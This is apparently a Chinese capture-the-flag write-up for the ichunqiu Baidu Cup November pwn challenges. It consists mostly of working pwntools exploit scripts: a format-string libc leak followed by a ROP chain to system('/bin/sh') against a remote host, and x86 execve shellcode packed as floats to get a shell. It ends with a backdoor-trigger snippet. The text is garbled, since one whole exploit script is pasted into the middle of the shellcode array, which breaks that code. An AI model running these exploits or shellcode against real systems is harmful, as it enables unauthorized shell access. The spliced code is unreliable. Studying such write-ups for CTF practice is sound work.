ichunqiu百度杯-十一月pwn专题

pwnme

一个溢出题，考点在于怎么去leak出system地址然后去构造rop，最后去getshell，题目整体思路还是很清晰的关键我，我还不会leak

这个题目还有一个printf的格式化洞，还可以通过这个去写去起shell，不过这种方法比较不优雅
学习了学习了

#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *
import os, sys

# switches
DEBUG = 0 

# modify this
if DEBUG:
    io = process('./pwnme')
else:
    io = remote("106.75.84.74", 10001)

if DEBUG: context(log_level='debug')
# define symbols and offsets here

# simplified r/s function
def ru(delim):
    return io.recvuntil(delim)

def rn(count):
    return io.recvn(count)

def ra(count):      # recv all
    buf = ''
    while count:
        tmp = io.recvn(count)
        buf += tmp
        count -= len(tmp)
    return buf

def sl(data):
    return io.sendline(data)

def sn(data):
    return io.send(data)

def info(string):
    return log.info(string)

def dehex(s):
    return s.replace(' ','').decode('hex')

aoti_got = 0x601fa8
read_got = 0x601fb8
# define interactive functions here
    
# define exploit function here
def pwn():
    ru('(max lenth:40):')
    sl('%37$p')
    ru('(max lenth:40):')
    sl('111')

    ru('>')
    sl('1')
    libc_start = int(rn(14), 16) - 240
    info('libc_start :' + hex(libc_start))
    
    read_libc = u64(rn(6).ljust(8, '\x00'))
    info('read_libc :' + hex(read_libc))
    system = libc_start - 0x7fabbb655a55 + 0x7fabbb6754f0
 #   e = ELF('.bc-64')
  #  system = libc_start - e.symbols['__libc_start_main'] + e.symbols['system']
    info('system :' + hex(system))

    ru('>')
    sl('2')

    ru('(max lenth:20):')
    sl('123')
    ru('(max lenth:20):')

    buf = 0x602000
    pay = '0' * 40
    pay += p64(0x400ed1) # pop rsi, r15, ret
    pay += p64(buf)
    pay += p64(0)
    pay += p64(0x400ed3) # pop rdi ret
    pay += p64(0)
    pay += p64(0x400730) # read_got
    pay += p64(0x400ed3) # pop rdi ret
    pay += p64(buf)
    pay += p64(system)
    sn(pay.ljust(0x110, '\x00'))

    io.sendline('/bin/sh\x00') 
    io.interactive()
    return

if __name__ == '__main__':
    pause()
    pwn()

loading

这个题目是某PCTF的题 关键的是去构造float 的shellcode
writeup

# -*-coding:utf-8-*-


import struct
import ctypes
from pwn import *

shellcode = ["\x31\xc9", # xor ecx, ecx
             "\xf7\xe1", # mul ecx
             "\x51", # push ecx
             "\xb1\xff", # mov cl, 0xFF
             "\xb5\xff", # mov ch, 0xFF
             "\x41", # inc ecx
             "\xb4\x68", # mov ah, 0x68
             "\xb0\x73", # mov al, 0x73
             "\xf7\xe1", # mul ecx
             "\xb4\x2f", # mov ah, 0x2F
             "\xb0\x2f", # mov al, 0x2F
             "\x50", # push eax
             "\xb4\x6e", # mov ah, 0x6e
             "\xb0\x69", # mov al, 0x69
             "\xf7\xe1", # mul ecx
             "\xb4\x62", # mov ah, 0x62
             "\xb0\x2f", # mov al, 0x2F
             "\x50", # push eax
             "\x31\xc0", # xor eax, eax#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *
import os, sys

# switches
DEBUG = 0 

# modify this
if DEBUG:
    io = process('./pwnme')
else:
    io = remote(sys.argv[1], int(sys.argv[2]))

if DEBUG: context(log_level='debug')
# define symbols and offsets here

# simplified r/s function
def ru(delim):
    return io.recvuntil(delim)

def rn(count):
    return io.recvn(count)

def ra(count):      # recv all
    buf = ''
    while count:
        tmp = io.recvn(count)
        buf += tmp
        count -= len(tmp)
    return buf

def sl(data):
    return io.sendline(data)

def sn(data):
    return io.send(data)

def info(string):
    return log.info(string)

def dehex(s):
    return s.replace(' ','').decode('hex')

aoti_got = 0x601fa8
read_got = 0x601fb8
# define interactive functions here
    
# define exploit function here
def pwn():
    ru('(max lenth:40):')
    sl('%37$p')
    ru('(max lenth:40):')
    sl('111')

    ru('>')
    sl('1')
    libc_start = int(rn(14), 16) - 240
    info('libc_start :' + hex(libc_start))
    
    read_libc = u64(rn(6).ljust(8, '\x00'))
    info('read_libc :' + hex(read_libc))
    system = libc_start - 0x7fabbb655a55 + 0x7fabbb6754f0
 #   e = ELF('.bc-64')
  #  system = libc_start - e.symbols['__libc_start_main'] + e.symbols['system']
    info('system :' + hex(system))

    ru('>')
    sl('2')

    ru('(max lenth:20):')
    sl('123')
    ru('(max lenth:20):')

    buf = 0x602000
    pay = '0' * 40
    pay += p64(0x400ed1) # pop rsi, r15, ret
    pay += p64(buf)
    pay += p64(0)
    pay += p64(0x400ed3) # pop rdi ret
    pay += p64(0)
    pay += p64(0x400730) # read_got
    pay += p64(0x400ed3) # pop rdi ret
    pay += p64(buf)
    pay += p64(system)
    sn(pay.ljust(0x110, '\x00'))

    io.sendline('/bin/sh\x00') 
    io.interactive()
    return

if __name__ == '__main__':
    pause()
    pwn()
             "\x31\xd2", # xor edx, edx
             "\x31\xc9", # xor ecx, ecx
             "\x89\xe3", # mov ebx, esp
             "\xb0\x0b", # mov al, 11
             "\xcd\x80"] # int 0x80

ints_to_send = []

for instr in shellcode:
    z = "\x40"
    if len(instr) == 1:
        z = "\x90\x40"
    payload = "\x48" + instr[::-1] + z
    a = struct.unpack(">f", payload)[0]*2333
    if a > 2147483647:
        log.error("It's too large fam.")

    b = str("{0:f}".format(a)).split(".")[0]

    log.info(b + " " + payload.encode("hex"))
    ints_to_send.append(b)

r = remote("106.75.84.68", 20000)
for i in ints_to_send:
    r.sendline(i)


r.interactive()

3.7z

这个题目就厉害了，居然有有一个backdoor，应该是题目设计者的问题吧，这个题目思路很简单，就是只要满足图下的check就可以拿到一个后门权限了

后门的逻辑是这样的，只要输入的满足

buf = ''
for i in range(len('useragent')):
  buf += chr(i^ord('useragent'[i])